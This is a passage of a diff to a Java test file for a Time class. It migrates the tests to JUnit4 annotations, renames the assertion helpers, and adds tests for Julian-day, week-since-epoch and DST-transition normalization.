         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
         try {
@@ -1739,29 +1781,31 @@
         }
     }
 
-    public void testSetMillis_utc() throws Exception {
+    @Test
+    public void testSetMillis_utc() {
         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
         t.set(1000L);
 
         Time expected = new Time(tz);
         Fields.set(expected, 1970, 0, 1, 0, 0, 1, 0 /* isDst */, 0, 0, 4);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         t.set(2000L);
         Fields.set(expected, 1970, 0, 1, 0, 0, 2, 0 /* isDst */, 0, 0, 4);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         t.set(1000L * 60);
         Fields.set(expected, 1970, 0, 1, 0, 1, 0, 0 /* isDst */, 0, 0, 4);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         t.set((1000L * 60 * 60 * 24) + 1000L);
         Fields.set(expected, 1970, 0, 2, 0, 0, 1, 0 /* isDst */, 0, 1, 5);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testSetMillis_utc_edgeCases() throws Exception {
+    @Test
+    public void testSetMillis_utc_edgeCases() {
         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
         t.set(Integer.MAX_VALUE + 1L);
@@ -1769,16 +1813,17 @@
         Time expected = new Time(tz);
         // This a 32-bit int overflow bug.
         Fields.set(expected, 1970, 0, 25, 20, 31, 23, 0 /* isDst */, 0, 24, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         t = new Time(tz);
         t.set(Integer.MIN_VALUE - 1L);
         // This a 32-bit int underflow bug.
         Fields.set(expected, 1969, 11, 7, 3, 28, 37, 0 /* isDst */, 0, 340, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    public void testSetFields() throws Exception {
+    @Test
+    public void testSetFields() {
         String tz = Time.TIMEZONE_UTC;
         Time t = new Time(tz);
         Fields.set(t, 9, 9, 9, 9, 9, 9, 9 /* isDst */, 9, 9, 9);
@@ -1787,7 +1832,7 @@
 
         Time expected = new Time(tz);
         Fields.set(expected, 6, 5, 4, 3, 2, 1, -1 /* isDst */, 0, 0, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
     // Timezones that cover the world.  Some GMT offsets occur more than
@@ -1854,7 +1899,8 @@
         "Pacific/Midway",
     };
 
-    public void testGetJulianDay() throws Exception {
+    @Test
+    public void testGetJulianDay() {
         Time time = new Time();
 
         // For every 15th day of 2008, and for each of the timezones listed above,
@@ -1901,7 +1947,8 @@
         }
     }
 
-    public void testSetJulianDay() throws Exception {
+    @Test
+    public void testSetJulianDay() {
         Time time = new Time();
 
         // For each day of the year in 2008, and for each timezone,
@@ -1947,7 +1994,56 @@
         }
     }
 
-    public void testNormalize_utc() throws Exception {
+    @Test
+    public void testGetJulianMondayFromWeeksSinceEpoch() {
+        final int mondayBeforeEpoch = Time.MONDAY_BEFORE_JULIAN_EPOCH;
+        assertEquals(mondayBeforeEpoch, Time.getJulianMondayFromWeeksSinceEpoch(0));
+        assertEquals(mondayBeforeEpoch + 7, Time.getJulianMondayFromWeeksSinceEpoch(1));
+        assertEquals(mondayBeforeEpoch + 14, Time.getJulianMondayFromWeeksSinceEpoch(2));
+        assertEquals(mondayBeforeEpoch - 7, Time.getJulianMondayFromWeeksSinceEpoch(-1));
+    }
+
+    @Test
+    public void testGetWeeksSinceEpochFromJulianDay() {
+        final int epoch = Time.EPOCH_JULIAN_DAY;  // a Thursday
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.SUNDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.MONDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.TUESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.WEDNESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.THURSDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.FRIDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epoch, Time.SATURDAY));
+
+        final int epochFriday = epoch + 1;
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.SUNDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.MONDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.TUESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.WEDNESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.THURSDAY));
+        assertEquals(1, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.FRIDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochFriday, Time.SATURDAY));
+
+        final int epochSaturday = epoch + 2;
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.SUNDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.MONDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.TUESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.WEDNESDAY));
+        assertEquals(0, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.THURSDAY));
+        assertEquals(1, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.FRIDAY));
+        assertEquals(1, Time.getWeeksSinceEpochFromJulianDay(epochSaturday, Time.SATURDAY));
+
+        final int tenWeeksLater = epochSaturday + 10 * 7;
+        assertEquals(10, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.SUNDAY));
+        assertEquals(10, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.MONDAY));
+        assertEquals(10, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.TUESDAY));
+        assertEquals(10, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.WEDNESDAY));
+        assertEquals(10, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.THURSDAY));
+        assertEquals(11, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.FRIDAY));
+        assertEquals(11, Time.getWeeksSinceEpochFromJulianDay(tenWeeksLater, Time.SATURDAY));
+    }
+
+    @Test
+    public void testNormalize_utc() {
         Time t = new Time(Time.TIMEZONE_UTC);
         Time expected = new Time(Time.TIMEZONE_UTC);
 
@@ -1955,56 +2051,57 @@
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 0, 0, 1);
-        assertNormalizeResult(true, t, expected, winterTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, winterTimeUtcMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 0, 0, 1);
-        assertNormalizeResult(true, t, expected, winterTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, winterTimeUtcMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 0, 0, 1);
-        assertNormalizeResult(true, t, expected, winterTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, winterTimeUtcMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 0, 0, 1);
-        assertNormalizeResult(false, t, expected, winterTimeUtcMillis);
+        verifyNormalizeResult(false, t, expected, winterTimeUtcMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 0, 0, 1);
-        assertNormalizeResult(false, t, expected, winterTimeUtcMillis);
+        verifyNormalizeResult(false, t, expected, winterTimeUtcMillis);
 
         long summerTimeUtcMillis = 1180659723000L;
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        assertNormalizeResult(true, t, expected, summerTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, summerTimeUtcMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        assertNormalizeResult(true, t, expected, summerTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, summerTimeUtcMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        assertNormalizeResult(true, t, expected, summerTimeUtcMillis);
+        verifyNormalizeResult(true, t, expected, summerTimeUtcMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        assertNormalizeResult(false, t, expected, summerTimeUtcMillis);
+        verifyNormalizeResult(false, t, expected, summerTimeUtcMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, 1, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        assertNormalizeResult(false, t, expected, summerTimeUtcMillis);
+        verifyNormalizeResult(false, t, expected, summerTimeUtcMillis);
     }
 
-    public void testNormalize_dstTz() throws Exception {
+    @Test
+    public void testNormalize_dstTz() {
         Time t = new Time(PstPdt.ID);
         Time expected = new Time(PstPdt.ID);
 
@@ -2014,30 +2111,30 @@
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(true, t, expected, stdTimeMillis);
+        verifyNormalizeResult(true, t, expected, stdTimeMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(true, t, expected, stdTimeMillis);
+        verifyNormalizeResult(true, t, expected, stdTimeMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(true, t, expected, stdTimeMillis);
+        verifyNormalizeResult(true, t, expected, stdTimeMillis);
 
         long dstToStdCorrectionMillis =
                 PstPdt.getUtcOffsetMillis(false) - PstPdt.getUtcOffsetMillis(true);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(false, t, expected, stdTimeMillis);
+        verifyNormalizeResult(false, t, expected, stdTimeMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 0, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(false, t, expected, stdTimeMillis + dstToStdCorrectionMillis);
+        verifyNormalizeResult(false, t, expected, stdTimeMillis + dstToStdCorrectionMillis);
 
         Fields.set(t, 2007, 0, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 0, 1, 1, 2, 3, 0 /* isDst */, -28800, 0, 1);
-        assertNormalizeResult(false, t, expected, stdTimeMillis);
+        verifyNormalizeResult(false, t, expected, stdTimeMillis);
 
         // A DST time
         long dstTimeUtcMillis = 1180659723000L;
@@ -2045,31 +2142,32 @@
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(true, t, expected, dstTimeMillis);
+        verifyNormalizeResult(true, t, expected, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(true, t, expected, dstTimeMillis);
+        verifyNormalizeResult(true, t, expected, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(true, t, expected, dstTimeMillis);
+        verifyNormalizeResult(true, t, expected, dstTimeMillis);
 
         long stdToDstCorrectionMillis = -dstToStdCorrectionMillis;
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2007, 5, 1, 2, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(false, t, expected, dstTimeMillis + stdToDstCorrectionMillis);
+        verifyNormalizeResult(false, t, expected, dstTimeMillis + stdToDstCorrectionMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(false, t, expected, dstTimeMillis);
+        verifyNormalizeResult(false, t, expected, dstTimeMillis);
 
         Fields.set(t, 2007, 5, 1, 1, 2, 3, -1 /* isDst */, -25200, 151, 5);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 1 /* isDst */, -25200, 151, 5);
-        assertNormalizeResult(false, t, expected, dstTimeMillis);
+        verifyNormalizeResult(false, t, expected, dstTimeMillis);
     }
 
+    @Test
     public void testNormalize_skippedTime() {
         // Tests behavior around a transition from STD to DST that introduces an hour of "skipped"
         // time from 01:00 to 01:59.
@@ -2126,7 +2224,7 @@
                 Fields.setDerivedDateTime(expected, 9, 9);
             }
             assertEquals("i = " + i, expectedTimeMillis, timeMillis);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 0, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2144,7 +2242,7 @@
                 Fields.setDst(expected, 1, PstPdt.getUtcOffsetSeconds(1));
             }
             Fields.setDerivedDateTime(expected, 69, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 1, normalize(true)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2169,7 +2267,7 @@
                 Fields.setDerivedDateTime(expected, 9, 9);
             }
             assertEquals("i = " + i, expectedTimeMillis, timeMillis);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 1, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2187,7 +2285,7 @@
                 Fields.setDst(expected, 0, PstPdt.getUtcOffsetSeconds(0));
             }
             Fields.setDerivedDateTime(expected, 69, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = -1, normalize(true)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2212,7 +2310,7 @@
                 Fields.setDerivedDateTime(expected, 9, 9);
             }
             assertEquals("i = " + i, expectedTimeMillis, timeMillis);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = -1, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2237,10 +2335,11 @@
                 Fields.setDerivedDateTime(expected, 9, 9);
             }
             assertEquals("i = " + i, expectedTimeMillis, timeMillis);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
         }
     }
 
+    @Test
     public void testNormalize_duplicateWallTime() {
         // 1:00 in standard / 2:00 in DST
         long timeBaseMillis = 1194163200000L;
@@ -2293,7 +2392,7 @@
                 fail("i =" + i);
             }
             Fields.setDerivedDateTime(expected, 307, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 0, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2311,7 +2410,7 @@
                 Fields.setDst(expected, 0 /* isDst */, PstPdt.getUtcOffsetSeconds(0));
             }
             Fields.setDerivedDateTime(expected, 307, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 1, normalize(true)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2334,7 +2433,7 @@
                 fail("i =" + i);
             }
             Fields.setDerivedDateTime(expected, 307, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = 1, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2352,7 +2451,7 @@
             }
             Fields.setDerivedDateTime(expected, 307, 0);
             assertEquals("i = " + i, expectedTimeMillis, timeMillis);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = -1, normalize(true)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2375,7 +2474,7 @@
                 fail("i =" + i);
             }
             Fields.setDerivedDateTime(expected, 307, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
 
             // isDst = -1, normalize(false)
             Fields.setDateTime(time, dateTimeArgs);
@@ -2397,17 +2496,18 @@
                 fail("i =" + i);
             }
             Fields.setDerivedDateTime(expected, 307, 0);
-            Fields.assertTimeEquals("i = " + i, expected, time);
+            Fields.verifyTimeEquals("i = " + i, expected, time);
         }
     }
 
+    @Test
     public void testNormalize_beforeTzRecords() {
         int[] timeFields = new int[] { 1900, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
-        assertNormalizeInvalid(timeFields, PstPdt.ID);
-        assertNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyNormalizeInvalid(timeFields, PstPdt.ID);
+        verifyNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
-    private static void assertNormalizeInvalid(int[] timeFields, String timezone) {
+    private static void verifyNormalizeInvalid(int[] timeFields, String timezone) {
         Time time = new Time(timezone);
         Time expected = new Time(timezone);
 
@@ -2416,56 +2516,59 @@
         time.isDst = 0;
         Fields.set(expected, timeFields);
         expected.isDst = -1;
-        assertNormalizeResult(true, time, expected, -1);
+        verifyNormalizeResult(true, time, expected, -1);
 
         // isDst = 0, normalize(false)
         Fields.set(time, timeFields);
         time.isDst = 0;
         Fields.set(expected, timeFields);
         expected.isDst = 0;
-        assertNormalizeResult(false, time, expected, -1);
+        verifyNormalizeResult(false, time, expected, -1);
 
         // isDst = 1, normalize(true)
         Fields.set(time, timeFields);
         time.isDst = 1;
         Fields.set(expected, timeFields);
         expected.isDst = -1;
-        assertNormalizeResult(true, time, expected, -1);
+        verifyNormalizeResult(true, time, expected, -1);
 
         // isDst = 1, normalize(false)
         Fields.set(time, timeFields);
         time.isDst = 1;
         Fields.set(expected, timeFields);
         expected.isDst = 1;
-        assertNormalizeResult(false, time, expected, -1);
+        verifyNormalizeResult(false, time, expected, -1);
 
         // isDst = -1, normalize(true)
         Fields.set(time, timeFields);
         time.isDst = -1;
         Fields.set(expected, timeFields);
         expected.isDst = -1;
-        assertNormalizeResult(true, time, expected, -1);
+        verifyNormalizeResult(true, time, expected, -1);
 
         // isDst = -1, normalize(false)
         Fields.set(time, timeFields);
         time.isDst = -1;
         Fields.set(expected, timeFields);
         expected.isDst = -1;
-        assertNormalizeResult(false, time, expected, -1);
+        verifyNormalizeResult(false, time, expected, -1);
     }
 
+    @Test
     public void testNormalize_afterTzRecords() {
         int[] timeFields = new int[] { 2039, 0, 1, 2, 3, 4, -999 /* not used */, 9, 9, 9 };
-        assertNormalizeInvalid(timeFields, PstPdt.ID);
-        assertNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyNormalizeInvalid(timeFields, PstPdt.ID);
+        verifyNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
+    @Test
     public void testNormalize_invalid() {
         int[] timeFields = new int[] { 0, 0, 0, 0, 0, 0, -999 /* not used */, 9, 9, 9 };
-        assertNormalizeInvalid(timeFields, PstPdt.ID);
-        assertNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
+        verifyNormalizeInvalid(timeFields, PstPdt.ID);
+        verifyNormalizeInvalid(timeFields, Time.TIMEZONE_UTC);
     }
 
+    @Test
     public void testNormalize_dstToDstSkip() {
         // In London, 4th May 1941 02:00 - 03:00 was a skip from DST -> DST (+1 hour -> +2 hours)
         String timezone = "Europe/London";
@@ -2475,22 +2578,22 @@
         // Demonstrate the data we expect either side of the skipped interval: 01:59
         Fields.set(t, 1941, 4, 4, 1, 59, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 4, 4, 1, 59, 0, 1 /* isDst */, 3600, 123, 0);
-        assertNormalizeResult(true, t, expected, -904518060000L);
+        verifyNormalizeResult(true, t, expected, -904518060000L);
 
         // Demonstrate the data we expect either side of the skipped interval: 03:00
         Fields.set(t, 1941, 4, 4, 3, 0, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 4, 4, 3, 0, 0, 1 /* isDst */, 7200, 123, 0);
-        assertNormalizeResult(true, t, expected, -904518000000L);
+        verifyNormalizeResult(true, t, expected, -904518000000L);
 
         // isDst = 1, normalize(false)
         Fields.set(t, 1941, 4, 4, 2, 30, 0, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 4, 4, 2, 30, 0, 1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         // isDst = -1, normalize(false)
         Fields.set(t, 1941, 4, 4, 2, 30, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 4, 4, 2, 30, 0, -1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         // The results below are potentially arbitrary: 01:30 and 02:30 are not a valid standard
         // times so normalize() must apply one of the possible STD -> DST adjustments to arrive at a
@@ -2499,7 +2602,7 @@
         // isDst = 0, normalize(false) @ 01:30
         Fields.set(t, 1941, 4, 4, 1, 30, 0, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 4, 4, 3, 30, 0, 1 /* isDst */, 7200, 123, 0);
-        assertNormalizeResult(false, t, expected, -904516200000L);
+        verifyNormalizeResult(false, t, expected, -904516200000L);
 
         // isDst = 0, normalize(false) @ 02:30
         Fields.set(t, 1941, 4, 4, 2, 30, 0, 0 /* isDst */, 9, 9, 9);
@@ -2513,9 +2616,10 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
+    @Test
     public void testNormalize_dstToDstRepeat() {
         // In London, 10th August 1941 02:00 - 03:00 was a repeat from DST -> DST
         // (+2 hour -> +1 hour)
@@ -2526,24 +2630,24 @@
         // Demonstrate the data we expect during the repeated interval: 02:30 (first)
         t.set(-896052600000L);
         Fields.set(expected, 1941, 7, 10, 2, 30, 0, 1 /* isDst */, 7200, 221, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // Demonstrate the data we expect during the repeated interval: 02:30 (second)
         t.set(-896049000000L);
         Fields.set(expected, 1941, 7, 10, 2, 30, 0, 1 /* isDst */, 3600, 221, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // Now check times in the repeated hour with different isDst assertions...
 
         // isDst = 1, normalize(false) @ 02:30
         Fields.set(t, 1941, 7, 10, 2, 30, 0, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 7, 10, 2, 30, 0, 1 /* isDst */, 3600, 221, 0);
-        assertNormalizeResult(false, t, expected, -896049000000L);
+        verifyNormalizeResult(false, t, expected, -896049000000L);
 
         // isDst = -1, normalize(false) @ 02:30
         Fields.set(t, 1941, 7, 10, 2, 30, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 7, 10, 2, 30, 0, 1 /* isDst */, 3600, 221, 0);
-        assertNormalizeResult(false, t, expected, -896049000000L);
+        verifyNormalizeResult(false, t, expected, -896049000000L);
 
         // The results below are potentially arbitrary: 01:30 and 02:30 are not a valid standard
         // times so normalize() must apply one of the possible STD -> DST adjustments to arrive at a
@@ -2560,14 +2664,15 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // isDst = 0, normalize(false) @ 02:30
         Fields.set(t, 1941, 7, 10, 2, 30, 0, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1941, 7, 10, 3, 30, 0, 1 /* isDst */, 3600, 221, 0);
-        assertNormalizeResult(false, t, expected, -896045400000L);
+        verifyNormalizeResult(false, t, expected, -896045400000L);
     }
 
+    @Test
     public void testNormalize_stdToStdRepeat() {
         // In London, 31st October 1971 02:00 - 03:00 was a repeat from STD -> STD
         String timezone = "Europe/London";
@@ -2577,12 +2682,12 @@
         // Demonstrate the data we expect during the repeated interval: 02:30 (first)
         t.set(57720600000L);
         Fields.set(expected, 1971, 9, 31, 2, 30, 0, 0 /* isDst */, 3600, 303, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // Demonstrate the data we expect during the repeated interval: 02:30 (second)
         t.set(57724200000L);
         Fields.set(expected, 1971, 9, 31, 2, 30, 0, 0 /* isDst */, 0, 303, 0);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // isDst = 0, normalize(false) @ 02:30
         Fields.set(t, 1971, 9, 31, 2, 30, 0, 0 /* isDst */, 9, 9, 9);
@@ -2598,7 +2703,7 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // isDst = -1, normalize(false) @ 02:30
         Fields.set(t, 1971, 9, 31, 2, 30, 0, -1 /* isDst */, 9, 9, 9);
@@ -2615,7 +2720,7 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // The results below are potentially arbitrary: 01:30 and 02:30 are not a valid DST
         // so normalize() must apply one of the possible STD -> DST adjustments to arrive at a
@@ -2634,7 +2739,7 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // isDst = 1, normalize(false) @ 02:30
         Fields.set(t, 1971, 9, 31, 2, 30, 0, 1 /* isDst */, 9, 9, 9);
@@ -2647,14 +2752,15 @@
         } else {
             fail();
         }
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
 
         // isDst = 1, normalize(false) @ 03:30
         Fields.set(t, 1971, 9, 31, 3, 30, 0, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1971, 9, 31, 2, 30, 0, 0 /* isDst */, 0, 303, 0);
-        assertNormalizeResult(false, t, expected, 57724200000L);
+        verifyNormalizeResult(false, t, expected, 57724200000L);
     }
 
+    @Test
     public void testNormalize_stdToStdSkip() {
         // In Kiritimati, 1st Jan 1995 10:00 - 10:40 was a skip from STD -> STD (plus they do not
         // observe DST).
@@ -2665,19 +2771,20 @@
         // isDst = 0, normalize(false)
         Fields.set(t, 1995, 0, 1, 10, 20, 0, 0 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1995, 0, 1, 10, 20, 0, 0 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         // isDst = 1, normalize(false)
         Fields.set(t, 1995, 0, 1, 10, 20, 0, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1995, 0, 1, 10, 20, 0, 1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
